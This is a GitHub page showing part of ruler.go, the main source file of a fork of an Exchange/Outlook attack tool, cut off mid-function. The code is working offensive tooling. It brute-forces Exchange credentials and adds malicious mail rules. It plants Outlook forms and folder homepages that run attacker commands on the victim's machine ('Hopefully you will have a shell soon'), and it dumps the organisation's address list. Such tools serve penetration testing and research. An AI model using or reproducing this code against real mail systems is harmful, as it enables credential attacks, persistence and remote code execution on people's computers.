forked from sensepost/ruler
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ruler.go
1794 lines (1612 loc) · 50.7 KB
/
ruler.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
package main
import (
"bufio"
"encoding/hex"
"fmt"
"io/ioutil"
"net/http"
"net/http/cookiejar"
"net/url"
"os"
"strings"
"time"
"github.com/howeyc/gopass"
"github.com/sensepost/ruler/autodiscover"
"github.com/sensepost/ruler/forms"
"github.com/sensepost/ruler/mapi"
"github.com/sensepost/ruler/utils"
"github.com/urfave/cli"
)
//globals
var config utils.Session
func exit(err error) {
//we had an error
if err != nil {
utils.Error.Println(err)
}
//let's disconnect from the MAPI session
exitcode, err := mapi.Disconnect()
if err != nil {
utils.Error.Println(err)
}
os.Exit(exitcode)
}
//function to perform an autodiscover
func discover(c *cli.Context) error {
if c.GlobalString("domain") == "" {
return fmt.Errorf("Required param --domain is missing")
}
if c.Bool("dump") == true && (c.GlobalString("username") == "" && c.GlobalString("email") == "") {
return fmt.Errorf("--dump requires credentials to be set")
}
if c.Bool("dump") == false && (c.GlobalString("username") != "" || c.GlobalString("email") != "") {
return fmt.Errorf("Credentials supplied, but no --dump. No credentials required for URL discovery. Dumping requires credentials to be set")
}
if c.Bool("dump") == true && c.String("out") == "" {
return fmt.Errorf("--dump requires an out file to be set with --out /path/to/file.txt")
}
var err error
if c.Bool("dump") == true && c.GlobalString("password") == "" && c.GlobalString("hash") == "" {
fmt.Printf("Password: ")
var pass []byte
pass, err = gopass.GetPasswd()
if err != nil {
// Handle gopass.ErrInterrupted or getch() read error
return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash")
}
config.Pass = string(pass)
} else {
config.Pass = c.GlobalString("password")
if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil {
return fmt.Errorf("Invalid hash provided. Hex decode failed")
}
}
//setup our autodiscover service
config.Domain = c.GlobalString("domain")
if c.GlobalString("username") == "" {
config.User = "nosuchuser"
} else {
config.User = c.GlobalString("username")
}
if c.GlobalString("email") == "" {
config.Email = "nosuchemail"
} else {
config.Email = c.GlobalString("email")
}
config.Basic = c.GlobalBool("basic")
config.Insecure = c.GlobalBool("insecure")
config.Verbose = c.GlobalBool("verbose")
config.Admin = c.GlobalBool("admin")
config.RPCEncrypt = !c.GlobalBool("noencrypt")
config.CookieJar, _ = cookiejar.New(nil)
config.Proxy = c.GlobalString("proxy")
config.UserAgent = c.GlobalString("useragent")
config.Hostname = c.GlobalString("hostname")
if config.Hostname == "" {
hostname, err := os.Hostname()
if err != nil {
return fmt.Errorf("An error is occurred while getting Hostname value. Try to specify it manually using --hostname")
}
config.Hostname = hostname
}
url := c.GlobalString("url")
if url == "" {
url = config.Domain
}
autodiscover.SessionConfig = &config
//var resp *utils.AutodiscoverResp
var domain string
if c.Bool("mapi") == true {
_, domain, err = autodiscover.MAPIDiscover(url)
} else {
_, domain, err = autodiscover.Autodiscover(url)
}
if domain == "" && err != nil {
return err
}
if c.Bool("dump") == true {
path := c.String("out")
utils.Info.Printf("Looks like the autodiscover service was found, Writing to: %s \n", path)
fout, _ := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, 0666)
_, err := fout.WriteString(domain)
if err != nil {
return fmt.Errorf("Couldn't write to file for some reason... %s", err)
}
} else {
utils.Info.Printf("Looks like the autodiscover service is at: %s \n", domain)
utils.Info.Println("Checking if domain is hosted on Office 365")
//smart check to see if domain is on office365
//A request to https://login.microsoftonline.com/<domain>/.well-known/openid-configuration
//response with 400 for none-hosted domains
//response with 200 for office365 domains
resp, _ := http.Get(fmt.Sprintf("https://login.microsoftonline.com/%s/.well-known/openid-configuration", config.Domain))
if resp.StatusCode == 400 {
utils.Info.Println("Domain is not hosted on Office 365")
} else if resp.StatusCode == 200 {
utils.Info.Println("Domain is hosted on Office 365")
} else {
utils.Error.Println("Received an unexpected response")
utils.Debug.Println(resp.StatusCode)
}
}
return nil
}
//function to perform a bruteforce
func brute(c *cli.Context) error {
if c.String("users") == "" && c.String("userpass") == "" {
return fmt.Errorf("Either --users or --userpass required")
}
if c.String("passwords") == "" && c.String("userpass") == "" {
return fmt.Errorf("Either --passwords or --userpass required")
}
if c.GlobalString("domain") == "" && c.GlobalString("url") == "" && c.GlobalBool("o365") == false {
return fmt.Errorf("Either --domain or --url required")
}
utils.Info.Println("Starting bruteforce")
domain := c.GlobalString("domain")
if c.GlobalString("url") != "" {
domain = c.GlobalString("url")
}
if c.GlobalBool("o365") == true {
domain = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml"
}
if e := autodiscover.Init(domain, c.String("users"), c.String("passwords"), c.String("userpass"), c.GlobalString("proxy"), c.GlobalString("useragent"), c.GlobalString("hostname"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay"), c.Int("threads")); e != nil {
return e
}
if c.String("userpass") == "" {
autodiscover.BruteForce()
} else {
autodiscover.UserPassBruteForce()
}
return nil
}
//Function to add new rule
func addRule(c *cli.Context) error {
utils.Info.Println("Adding Rule")
res, err := mapi.ExecuteMailRuleAdd(c.String("name"), c.String("trigger"), c.String("location"), true)
if err != nil || res.StatusCode == 255 {
return fmt.Errorf("Failed to create rule. %s", err)
}
utils.Info.Println("Rule Added. Fetching list of rules...")
printRules()
if c.Bool("send") {
utils.Info.Println("Auto Send enabled, wait 30 seconds before sending email (synchronisation)")
//initate a ping sequence, just incase we are on RPC/HTTP
//we need to keep the socket open
go mapi.Ping()
time.Sleep(time.Second * (time.Duration)(30))
utils.Info.Println("Sending email")
if c.String("subject") == "" {
sendMessage(c.String("trigger"), c.String("body"))
} else {
sendMessage(c.String("subject"), c.String("body"))
}
}
return nil
}
//Function to delete a rule
func deleteRule(c *cli.Context) error {
var ruleid []byte
var err error
if c.String("id") == "" && c.String("name") != "" {
rules, er := mapi.DisplayRules()
if er != nil {
return er
}
utils.Info.Printf("Found %d rules. Extracting ids\n", len(rules))
for _, v := range rules {
if utils.FromUnicode(v.RuleName) == c.String("name") {
reader := bufio.NewReader(os.Stdin)
utils.Question.Printf("Delete rule with id %x [y/N]: ", v.RuleID)
ans, _ := reader.ReadString('\n')
if ans == "y\n" || ans == "Y\n" || ans == "yes\n" {
ruleid = v.RuleID
err = mapi.ExecuteMailRuleDelete(ruleid)
if err != nil {
utils.Error.Println("Failed to delete rule")
}
}
}
}
if ruleid == nil {
return fmt.Errorf("No rule with supplied name found")
}
} else {
ruleid, err = hex.DecodeString(c.String("id"))
if err != nil {
return fmt.Errorf("Incorrect ruleid format. Try --name if you wish to supply a rule's name rather than id")
}
err = mapi.ExecuteMailRuleDelete(ruleid)
if err != nil {
utils.Error.Println("Failed to delete rule")
}
}
if err == nil {
utils.Info.Println("Fetching list of remaining rules...")
er := printRules()
if er != nil {
return er
}
}
return err
}
//Function to display all rules
func displayRules(c *cli.Context) error {
utils.Info.Println("Retrieving Rules")
er := printRules()
return er
}
//sendMessage sends a message to the user, using their own Account
//uses supplied subject and body
func sendMessage(subject, body string) error {
propertyTags := make([]mapi.PropertyTag, 1)
propertyTags[0] = mapi.PidTagDisplayName
_, er := mapi.GetFolder(mapi.OUTBOX, nil) //propertyTags)
if er != nil {
return er
}
_, er = mapi.SendMessage(subject, body)
if er != nil {
return er
}
utils.Info.Println("Message sent, your shell should trigger shortly.")
return nil
}
//Function to connect to the Exchange server
func connect(c *cli.Context) error {
var err error
//if no password or hash was supplied, read from stdin
if c.GlobalString("password") == "" && c.GlobalString("hash") == "" && c.GlobalString("config") == "" {
fmt.Printf("Password: ")
var pass []byte
pass, err = gopass.GetPasswd()
if err != nil {
// Handle gopass.ErrInterrupted or getch() read error
return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash")
}
config.Pass = string(pass)
} else {
config.Pass = c.GlobalString("password")
if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil {
return fmt.Errorf("Invalid hash provided. Hex decode failed")
}
}
//setup our autodiscover service
config.Domain = c.GlobalString("domain")
config.User = c.GlobalString("username")
config.Email = c.GlobalString("email")
config.Basic = c.GlobalBool("basic")
config.Insecure = c.GlobalBool("insecure")
config.Verbose = c.GlobalBool("verbose")
config.Admin = c.GlobalBool("admin")
config.RPCEncrypt = !c.GlobalBool("noencrypt")
config.CookieJar, _ = cookiejar.New(nil)
config.Proxy = c.GlobalString("proxy")
config.UserAgent = c.GlobalString("useragent")
config.Hostname = c.GlobalString("hostname")
if config.Hostname == "" {
hostname, err := os.Hostname()
if err != nil {
return fmt.Errorf("An error is occurred while getting Hostname value. Try to specify it manually using --hostname")
}
config.Hostname = hostname
}
//add supplied cookie to the cookie jar
if c.GlobalString("cookie") != "" {
//split into cookies and then into name : value
cookies := strings.Split(c.GlobalString("cookie"), ";")
var cookieJarTmp []*http.Cookie
var cdomain string
//split and get the domain from the email
if eparts := strings.Split(c.GlobalString("email"), "@"); len(eparts) == 2 {
cdomain = eparts[1]
} else {
return fmt.Errorf("[x] Invalid email address")
}
for _, v := range cookies {
cookie := strings.Split(v, "=")
c := &http.Cookie{
Name: cookie[0],
Value: cookie[1],
Path: "/",
Domain: cdomain,
}
cookieJarTmp = append(cookieJarTmp, c)
}
u, _ := url.Parse(fmt.Sprintf("https://%s/", cdomain))
config.CookieJar.SetCookies(u, cookieJarTmp)
}
config.CookieJar, _ = cookiejar.New(nil)
url := c.GlobalString("url")
if c.GlobalBool("o365") == true {
url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml"
}
autodiscover.SessionConfig = &config
//try connect to MAPI/HTTP first -- this is faster and the code-base is more stable
//unless of course the global "RPC" flag has been set, which specifies we should just use
//RPC/HTTP from the get-go
var resp *utils.AutodiscoverResp
var rawAutodiscover string
var mapiURL, abkURL, userDN string
if c.GlobalString("config") != "" {
var yamlConfig utils.YamlConfig
if yamlConfig, err = utils.ReadYml(c.GlobalString("config")); err != nil {
utils.Error.Println("Invalid Config file.")
return err
}
//set all fields from yamlConfig into config (this overrides cmdline options)
if yamlConfig.Username != "" {
config.User = yamlConfig.Username
}
if yamlConfig.Password != "" {
config.Pass = yamlConfig.Password
}
if yamlConfig.Email != "" {
config.Email = yamlConfig.Email
}
if yamlConfig.Hash != "" {
if config.NTHash, err = hex.DecodeString(yamlConfig.Hash); err != nil {
return fmt.Errorf("Invalid hash provided. Hex decode failed")
}
}
if config.User == "" && config.Email == "" {
return fmt.Errorf("Missing username and/or email argument. Use --domain (if needed), --username and --email or the --config")
}
if config.Pass == "" {
fmt.Printf("Password: ")
var pass []byte
pass, err = gopass.GetPasswd()
if err != nil {
// Handle gopass.ErrInterrupted or getch() read error
return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash")
}
config.Pass = string(pass)
}
if yamlConfig.RPC == true {
//create RPC URL
config.RPCURL = fmt.Sprintf("%s?%s:6001", yamlConfig.RPCURL, yamlConfig.Mailbox)
config.RPCEncrypt = yamlConfig.RPCEncrypt
config.RPCNtlm = yamlConfig.Ntlm
} else {
mapiURL = fmt.Sprintf("%s?MailboxId=%s", yamlConfig.MapiURL, yamlConfig.Mailbox)
}
userDN = yamlConfig.UserDN
} else if !c.GlobalBool("rpc") {
if config.User == "" && config.Email == "" {
return fmt.Errorf("Missing username and/or email argument. Use --domain (if needed), --username and --email or the --config")
}
if c.GlobalBool("nocache") == false { //unless user specified nocache, check cache for existing autodiscover
resp = autodiscover.CheckCache(config.Email)
}
if resp == nil {
resp, rawAutodiscover, err = autodiscover.GetMapiHTTP(config.Email, url, resp)
if err != nil {
exit(err)
}
}
mapiURL = mapi.ExtractMapiURL(resp)
abkURL = mapi.ExtractMapiAddressBookURL(resp)
userDN = resp.Response.User.LegacyDN
if mapiURL == "" { //try RPC
if rawAutodiscover != "" {
resp, _, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, url, resp)
} else {
resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, url, resp)
}
if err != nil {
exit(err)
}
if resp.Response.User.LegacyDN == "" {
return fmt.Errorf("Both MAPI/HTTP and RPC/HTTP failed. Are the credentials valid? \n%s", resp.Response.Error)
}
if c.GlobalBool("nocache") == false {
autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use
}
} else {
utils.Trace.Println("MAPI URL found: ", mapiURL)
utils.Trace.Println("MAPI AddressBook URL found: ", abkURL)
//mapi.Init(&config, userDN, mapiURL, abkURL, mapi.HTTP)
if c.GlobalBool("nocache") == false {
autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use
}
}
} else {
if config.User == "" && config.Email == "" {
return fmt.Errorf("Missing username and/or email argument. Use --domain (if needed), --username and --email or the --config")
}
utils.Trace.Println("RPC/HTTP forced, trying RPC/HTTP")
if c.GlobalBool("nocache") == false { //unless user specified nocache, check cache for existing autodiscover
resp = autodiscover.CheckCache(config.Email)
}
resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, url, resp)
if err != nil {
exit(err)
}
userDN = resp.Response.User.LegacyDN
if c.GlobalBool("nocache") == false {
autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use
}
}
if config.RPCURL != "" {
mapi.Init(&config, userDN, "", "", mapi.RPC)
} else {
mapi.Init(&config, userDN, mapiURL, abkURL, mapi.HTTP)
}
//now we should do the login
logon, err := mapi.Authenticate()
if err != nil {
exit(err)
} else if logon.MailboxGUID != nil {
utils.Trace.Println("And we are authenticated")
utils.Trace.Println("Openning the Inbox")
propertyTags := make([]mapi.PropertyTag, 2)
propertyTags[0] = mapi.PidTagDisplayName
propertyTags[1] = mapi.PidTagSubfolders
mapi.GetFolder(mapi.INBOX, propertyTags) //Open Inbox
}
return nil
}
func printRules() error {
//rules, er := mapi.DisplayRules()
cols := make([]mapi.PropertyTag, 2)
cols[0] = mapi.PidTagRuleName
cols[1] = mapi.PidTagRuleID
//cols[2] = mapi.PidTagRuleActions
rows, er := mapi.FetchRules(cols)
if er != nil {
return er
}
if rows.RowCount > 0 {
utils.Info.Printf("Found %d rules\n", rows.RowCount)
maxwidth := 30
for k := 0; k < int(rows.RowCount); k++ {
if len(string(rows.RowData[k][0].ValueArray)) > maxwidth {
maxwidth = len(string(rows.RowData[k][0].ValueArray))
}
}
maxwidth -= 10
fmstr1 := fmt.Sprintf("%%-%ds | %%-16s \n", maxwidth)
fmstr2 := fmt.Sprintf("%%-%ds | %%x \n", maxwidth)
utils.Info.Printf(fmstr1, "Rule Name", "Rule ID")
utils.Info.Printf("%s|%s\n", (strings.Repeat("-", maxwidth+1)), strings.Repeat("-", 18))
for k := 0; k < int(rows.RowCount); k++ {
clientSide := false
clientApp := ""
/*
rd := mapi.RuleAction{}
rd.Unmarshal(rows.RowData[k][2].ValueArray)
if rd.ActionType == 0x05 {
for _, a := range rd.ActionData.Conditions {
if a.Tag[1] == 0x49 {
clientSide = true
clientApp = string(utils.FromUnicode(a.Value))
break
}
}
}
*/
if clientSide == true {
utils.Info.Printf(fmstr2, string(utils.FromUnicode(rows.RowData[k][0].ValueArray)), rows.RowData[k][1].ValueArray, fmt.Sprintf("* %s", clientApp))
} else {
utils.Info.Printf(fmstr2, string(utils.FromUnicode(rows.RowData[k][0].ValueArray)), rows.RowData[k][1].ValueArray)
}
}
utils.Info.Println()
} else {
utils.Info.Println("No Rules Found")
}
return nil
}
//Function to display all addressbook entries
func abkList(c *cli.Context) error {
utils.Trace.Println("Let's play addressbook")
if config.Transport == mapi.RPC {
return fmt.Errorf("Only MAPI/HTTP is currently supported for addressbook interaction")
}
mapi.BindAddressBook()
columns := make([]mapi.PropertyTag, 2)
columns[0] = mapi.PidTagDisplayName
columns[1] = mapi.PidTagSMTPAddress
rows, _ := mapi.QueryRows(100, []byte{}, columns) //pull first 255 entries
utils.Info.Println("Found the following entries: ")
maxwidth := 30
fmstr1 := fmt.Sprintf("%%-%ds | %%-s\n", maxwidth)
fmstr2 := fmt.Sprintf("%%-%ds | %%s\n", maxwidth)
utils.Info.Printf(fmstr1, "Display Name", "SMTP Address")
utils.Info.Printf("%s|%s\n", (strings.Repeat("-", maxwidth+1)), strings.Repeat("-", 18))
for k := 0; k < int(rows.RowCount); k++ {
if len(rows.RowData[k].AddressBookPropertyValue) == 2 {
disp := utils.FromUnicode(rows.RowData[k].AddressBookPropertyValue[0].Value)
if len(disp) > maxwidth {
disp = disp[:maxwidth-2]
}
utils.Clear.Printf(fmstr2, string(disp), rows.RowData[k].AddressBookPropertyValue[1].Value)
}
}
state := mapi.STAT{}
state.Unmarshal(rows.State)
totalrows := state.TotalRecs
for i := 0; i < int(totalrows); i += 100 {
rows, _ = mapi.QueryRows(100, rows.State, columns)
for k := 0; k < int(rows.RowCount); k++ {
if len(rows.RowData[k].AddressBookPropertyValue) == 2 {
disp := utils.FromUnicode(rows.RowData[k].AddressBookPropertyValue[0].Value)
if len(disp) > maxwidth {
disp = disp[:maxwidth-2]
}
utils.Clear.Printf(fmstr2, string(disp), rows.RowData[k].AddressBookPropertyValue[1].Value)
}
}
}
return nil
}
//Function to display all addressbook entries
func abkDump(c *cli.Context) error {
if config.Transport == mapi.RPC {
return fmt.Errorf("Address book support is currently limited to MAPI/HTTP")
}
utils.Trace.Println("Let's Dump the addressbook")
fout, err := os.OpenFile(c.String("output"), os.O_CREATE|os.O_WRONLY, 0666)
if err != nil {
return fmt.Errorf("Couldn't create file to write to... %s", err)
}
mapi.BindAddressBook()
columns := make([]mapi.PropertyTag, 2)
columns[0] = mapi.PidTagDisplayName
columns[1] = mapi.PidTagSMTPAddress
rows, _ := mapi.QueryRows(100, []byte{}, columns) //pull first 255 entries
for k := 0; k < int(rows.RowCount); k++ {
if len(rows.RowData[k].AddressBookPropertyValue) == 2 {
disp := utils.FromUnicode(rows.RowData[k].AddressBookPropertyValue[0].Value)
email := utils.FromUnicode(rows.RowData[k].AddressBookPropertyValue[1].Value)
if _, err := fout.WriteString(fmt.Sprintf("%s , %s\n", disp, email)); err != nil {
return fmt.Errorf("Couldn't write to file... %s", err)
}
}
}
state := mapi.STAT{}
state.Unmarshal(rows.State)
totalrows := state.TotalRecs
utils.Info.Printf("Found %d entries in the GAL. Dumping...", totalrows)
for i := 0; i < int(totalrows); i += 100 {
rows, _ = mapi.QueryRows(100, rows.State, columns)
utils.Info.Printf("Dumping %d/%d", i+100, totalrows)
for k := 0; k < int(rows.RowCount); k++ {
if len(rows.RowData[k].AddressBookPropertyValue) == 2 {
disp := utils.FromUnicode(rows.RowData[k].AddressBookPropertyValue[0].Value)
email := utils.FromUnicode(rows.RowData[k].AddressBookPropertyValue[1].Value)
if _, err := fout.WriteString(fmt.Sprintf("%s | %s\n", disp, email)); err != nil {
return fmt.Errorf("Couldn't write to file... %s", err)
}
}
}
}
return nil
}
func createForm(c *cli.Context) error {
//first check that supplied command is valid
var command string
if c.String("input") != "" {
cmd, err := utils.ReadFile(c.String("input"))
if err != nil {
return err
}
command = string(cmd)
} else {
command = c.String("command")
}
if len(command) > 4096 {
return fmt.Errorf("Command is too large. Maximum command size is 4096 characters.")
}
suffix := c.String("suffix")
folderid := mapi.AuthSession.Folderids[mapi.INBOX]
utils.Trace.Println("Verifying that form does not exist.")
//check that form does not already exist
if err := forms.CheckForm(folderid, suffix); err != nil {
return err
}
var rname, triggerword string
if c.Bool("rule") == true {
rname = utils.GenerateString(6)
triggerword = utils.GenerateString(8)
} else {
rname = "NORULE"
}
msgid, err := forms.CreateFormMessage(suffix, rname)
if err != nil {
return err
}
if err := forms.CreateFormAttachmentPointer(folderid, msgid); err != nil {
return err
}
if c.Bool("raw") == true {
if err := forms.CreateFormAttachmentForDeleteTemplate(folderid, msgid, command); err != nil {
return err
}
} else {
if err := forms.CreateFormAttachmentTemplate(folderid, msgid, command); err != nil {
return err
}
}
utils.Info.Println("Form created successfully")
if c.Bool("rule") == true {
utils.Info.Printf("Rule trigger set. Adding new rule with name %s\n", rname)
utils.Info.Printf("Adding new rule with trigger of %s\n", triggerword)
//create delete rule
if _, err := mapi.ExecuteDeleteRuleAdd(rname, triggerword); err != nil {
utils.Error.Println("Failed to create the trigger rule")
} else {
utils.Info.Println("Trigger rule created.")
}
if c.Bool("send") == false {
utils.Info.Printf("Autosend disabled. You'll need to trigger the rule by sending an email with the keyword \"%s\" present in the subject. \n", triggerword)
}
c.Set("subject", triggerword)
}
//trigger the email if the send option is enabled
if c.Bool("send") == true {
return triggerForm(c)
}
return nil
}
func triggerForm(c *cli.Context) error {
subject := c.String("subject")
body := c.String("body")
suffix := c.String("suffix")
folderid := mapi.AuthSession.Folderids[mapi.INBOX]
target := mapi.AuthSession.Email
utils.Trace.Println("Creating Trigger message.")
msgid, err := forms.CreateFormTriggerMessage(suffix, subject, body)
if err != nil {
return err
}
utils.Info.Println("Sending email.")
//send to another account
if c.String("target") != "" {
target = c.String("target")
}
if _, err = mapi.SendExistingMessage(folderid, msgid, target); err != nil {
return err
}
utils.Info.Println("Email sent! Hopefully you will have a shell soon.")
return nil
}
func deleteForm(c *cli.Context) error {
suffix := c.String("suffix")
folderid := mapi.AuthSession.Folderids[mapi.INBOX]
if _, err := forms.DeleteForm(suffix, folderid); err != nil {
utils.Error.Println("Failed to delete form.")
return err
}
return nil
}
func displayForms(c *cli.Context) error {
folderid := mapi.AuthSession.Folderids[mapi.INBOX]
if err := forms.DisplayForms(folderid); err != nil {
utils.Error.Println("Failed to find any forms.")
return err
}
return nil
}
func createHomePage(c *cli.Context) error {
utils.Info.Println("Creating new endpoint")
wvpObjectStream := mapi.WebViewPersistenceObjectStream{Version: 2, Type: 1, Flags: 1}
wvpObjectStream.Reserved = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
wvpObjectStream.Value = utils.UniString(c.String("url"))
wvpObjectStream.Size = uint32(len(wvpObjectStream.Value))
prop := wvpObjectStream.Marshal()
folderid := mapi.AuthSession.Folderids[mapi.INBOX]
propertyTags := make([]mapi.TaggedPropertyValue, 1)
propertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagFolderWebViewInfo, PropertyValue: append(utils.COUNT(len(prop)), prop...)}
if _, e := mapi.SetFolderProperties(folderid, propertyTags); e != nil {
return e
}
utils.Info.Println("Verifying...")
props := make([]mapi.PropertyTag, 1)
props[0] = mapi.PidTagFolderWebViewInfo
_, _, e := mapi.GetFolderProps(mapi.INBOX, props)
if e != nil {
utils.Warning.Println("New endpoint not set")
return e
}
utils.Info.Println("New endpoint set")
utils.Info.Println("Trying to force trigger")
mapi.CreateFolder("xyz", true)
return nil
}
func displayHomePage() error {
utils.Info.Println("Getting existing endpoint")
props := make([]mapi.PropertyTag, 1)
props[0] = mapi.PidTagFolderWebViewInfo
_, c, e := mapi.GetFolderProps(mapi.INBOX, props)
if e == nil {
wvp := mapi.WebViewPersistenceObjectStream{}
wvp.Unmarshal(c.RowData[0].ValueArray)
if utils.FromUnicode(wvp.Value) == "" {
utils.Info.Println("No endpoint set")
return nil
}
utils.Info.Printf("Found endpoint: %s\n", utils.FromUnicode(wvp.Value))
if wvp.Flags == 0 {
utils.Info.Println("Webview is set as DISABLED")
} else {
utils.Info.Println("Webview is set as ENABLED")
}
}
return e
}
func deleteHomePage() error {
utils.Info.Println("Unsetting homepage. Remember to use 'add' if you want to reset this to the original value")
wvpObjectStream := mapi.WebViewPersistenceObjectStream{Version: 2, Type: 1, Flags: 0}
wvpObjectStream.Reserved = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
wvpObjectStream.Value = utils.UniString("")
wvpObjectStream.Size = uint32(len(wvpObjectStream.Value))
prop := wvpObjectStream.Marshal()
folderid := mapi.AuthSession.Folderids[mapi.INBOX]
propertyTags := make([]mapi.TaggedPropertyValue, 1)
propertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagFolderWebViewInfo, PropertyValue: append(utils.COUNT(len(prop)), prop...)}
if _, e := mapi.SetFolderProperties(folderid, propertyTags); e != nil {
return e
}
utils.Info.Println("Verifying...")
props := make([]mapi.PropertyTag, 1)
props[0] = mapi.PidTagFolderWebViewInfo
_, _, e := mapi.GetFolderProps(mapi.INBOX, props)
if e == nil {
utils.Info.Println("Webview reset")
}
utils.Info.Println("Cleaning up and removing trigger")
rows, er := mapi.GetSubFolders(mapi.AuthSession.Folderids[mapi.INBOX])
var FolderID []byte
if er == nil {
for k := 0; k < len(rows.RowData); k++ {
//utils.Info.Println(fromUnicode(rows.RowData[k][0].ValueArray))
//convert string from unicode and then check if it is our target folder
if utils.FromUnicode(rows.RowData[k][0].ValueArray) == "xyz" {
FolderID = rows.RowData[k][1].ValueArray
break
}
}
}
if _, er := mapi.DeleteFolder(folderid, FolderID); er != nil {
utils.Warning.Println("Failed to delete trigger. Should be fine though.")
}
return nil
}
func searchFolders(c *cli.Context) error {
utils.Info.Println("Checking if a search folder exists")
searchFolderName := "searcher"
searchFolder, err := checkFolder(searchFolderName)
if err != nil {
return fmt.Errorf("Unable to create a search folder to use. %s", err)
}
utils.Info.Println("Setting search criteria")
folderids := mapi.AuthSession.Folderids[mapi.INBOX]
//create the search criteria restrictions
restrict := mapi.AndRestriction{RestrictType: 0x00}
restrict.RestrictCount = uint16(2)
//var orRestrict mapi.OrRestriction
